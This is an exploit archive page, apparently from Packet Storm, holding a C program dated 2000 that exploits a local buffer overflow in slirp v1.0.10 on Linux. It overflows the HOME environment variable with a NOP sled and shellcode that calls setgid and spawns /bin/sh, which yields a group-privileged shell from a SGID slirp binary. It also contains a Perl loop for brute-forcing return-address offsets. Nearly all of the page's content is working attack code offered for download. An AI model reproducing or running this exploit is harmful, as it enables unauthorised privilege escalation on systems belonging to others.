exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

slirp_bof.c

slirp_bof.c
Posted May 31, 2000
Authored by vade79, realhalo | Site realhalo.org

Slirp v1.0.10(RELEASE) local buffer overflow exploit for Linux which gives you a SGID shell if /usr/local/bin/slirp is mode 2755. Tested against Slackware 3.6. Includes perl script to find the offset.

tags | exploit, overflow, shell, local, perl
systems | linux, slackware
SHA-256 | 12e61b047e8d24718f434c4d48b7b220b125ea133744046125a247842e78d76a

slirp_bof.c

Change Mirror Download
/* (linux)slirp[v1.0.10(RELEASE)] buffer overflow, by v9[v9@fakehalo.org].
this will give you a gid=1-255(depends) shell if /usr/local/bin/slirp is
SGID(1-255). slirp is a slip/ppp program that allows users to have a
internet connection via a shell. i made this beacuse i noticed slirp was
sgid to a group(arpa usually) on some servers. so, i downloaded the source
and looked at it, i found that the env var HOME overwrote the eip around
300 characters. anything much larger than 300 characters overflowed in
strncmp(eax) at a different location. this is much easier to work with. :)

note: tested on my slackware3.6(slirp was installed from the package).
offsets around -500--900, 500-1500 and 2100-2300 worked on my system.

syntax: ./slirp_bof [numeric offset value] [gid(1-255)].

here is a quick perl script to run offsets (until ctrl-c):

#!/usr/bin/perl
$i=$ARGV[0];
while(1){
print "offset: $i.\n";
system("./slirp_bof $i");
$i++; # or $i+=100; if you want to be speedy. (yeah, you probably want to)
} */

#define DEFAULT_OFFSET 500
#define DEFAULT_GID 1 // this(bin) will probably/should never be the gid.
static char exec[]=
"\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
"\x00" // will be filled in with the gid.
"\xcd\x80\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"
"\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x01";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[264],gid;
int i,offset;
long ret;
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
if(argc>2){
if(atoi(argv[2])<1||atoi(argv[2])>255){
printf("value %s is out of range! GID value must be between 1-255. (deal with it)\n",argv[2]);
exit(-1);
}
else{gid=atoi(argv[2]);}
}
else{gid=DEFAULT_GID;}
exec[10]=gid; // filling in the blank spot in the shellcode with the GID.
ret=(esp()-offset);
printf("return address: 0x%lx, offset: %d",ret,offset);
if(gid-DEFAULT_GID){printf(", alternate gid: %d.\n",atoi(argv[2]));}
else{printf(", default gid: %d.\n",DEFAULT_GID);}
for(i=0;i<264;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(260-strlen(exec));i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
setenv("HOME",bof,1);
execlp("/usr/local/bin/slirp","slirp",0);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close